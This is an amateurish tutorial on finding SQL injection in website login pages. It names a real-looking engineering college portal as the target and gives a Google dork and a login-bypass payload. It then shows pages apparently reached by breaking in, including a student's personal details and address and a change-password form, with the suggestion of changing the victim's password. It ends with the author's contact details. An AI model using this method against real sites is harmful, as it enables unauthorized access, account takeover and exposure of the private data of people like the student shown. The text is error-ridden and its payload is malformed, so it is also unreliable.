

HOW TO FIND THE SQL INJECTION VERNABILITY IN LOGIN PAGES

➤ **STEP 01** : The full form of SQL is *STRUCTURED QUERY LANGUAGE*.

➤ **STEP 02** : First use *GOOLGE DORKS*, to find the particular *WEBSITE*.

❖ **FOR EXMAPLE** : *inurl: admin/login.php.in*

➤ **STEP 03** : Search the targeted website,


❖ **FOR EXAMPLE** : My target website is,

www.avanthi.edu.in/portal/login.php

➤ **STEP 04** : Next open the website and open login page like,

➤ **STEP 05** : And check the *SQL INJECTION VERNABILITY*, by giving code like *{'or'=''='}'* in the *USERNAME & PASSWORD*.

- **STEP 06** : And after giving the CODE in LOGIN PAGE, if the WBESITE is accessing your code and exploiting their WEBSITE DATABASE,,,,, Like,



AVANTHI
Institute of Engineering and Technology

08:44:33 pm
Logout

View Profile, Previous Papers links working, Remaining links will be activate soon

Home

- View Profile
- Online Attendance
- Time Tables
- Subjects
- Circulars
- Syllabus
- Previous Papers
- Internal Marks - Entry

Control Panel

- Reports
- Change Password

View Profile Update

Name	wensihot	Father Name	NOOKA RAJU
Father Occupation	null	Regulation	R07
Date of Birth	19-Jun-92	Gender	Female
Branch	MECH	Admitted Batch	2008-2012
SSC %	70	Inter %	85
Address	D.NO:-59-A-73, NAGARALA STREET, MALKA STREET, VSP		
Student Mobile No	1	Father Mobile No	1
Land Line No	1	Email ID	-0

- **STEP 07** : It means that the WEBSITE is having SQL INJECTION VERNABILITY.

- **STEP 08** : And now we can access to their DATABASE and EXPLOIT, However we want,

❖ **FOR EXAMPLE** : If you want to change your VICTIM PASSWORD, You can see here,



AVANTHI
Institute of Engineering and Technology

08:43:34 pm
Logout

View Profile, Previous Pa

Home

- View Profile
- Online Attendance
- Time Tables
- Subjects
- Circulars
- Syllabus
- Previous Papers
- Internal Marks - Entry

Control Panel

- Reports
- Change Password

Change Password

Old Password *

New Password *

Re Enter New Password *

Submit

PRESENTED BY :

NAME = **GANDLA NIKHIL KUMAR**

EMAIL ID = **itstudentpandu@gmail.com**

CONTACT NO = **+91.9676756793**

LOCATION = **HYDERABAD**